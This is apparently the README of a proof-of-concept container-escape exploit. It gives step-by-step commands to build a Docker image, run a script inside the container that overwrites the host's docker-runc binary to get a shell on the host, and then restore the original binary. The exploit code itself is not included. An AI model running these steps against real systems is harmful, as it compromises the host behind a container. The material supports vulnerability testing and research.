getshell test
To run:
- (1). edit poc command in stage2.c
- (2). build docker `docker build -t cve .`
- (3). run docker `docker run -d cve /bin/bash -c "tail -f /dev/null"`
- (4). backup docker-runc `cp /usr/bin/docker-runc /usr/bin/docker-runc.bak`
- (5). `docker exec -it docker-id /bin/bash`
- (6). in docker run `cd /root && ./run.sh && exit`
- (7). `docker exec -it docker-id /bin/bash`,bingo!!
run `strings /usr/bin/docker-runc | tail -n 2` view docker-runc
run `cp /usr/bin/docker-runc.bak /usr/bin/docker-runc` recovery docker-runc
登录后查看神龙缓存的 POC 文件快照
登录查看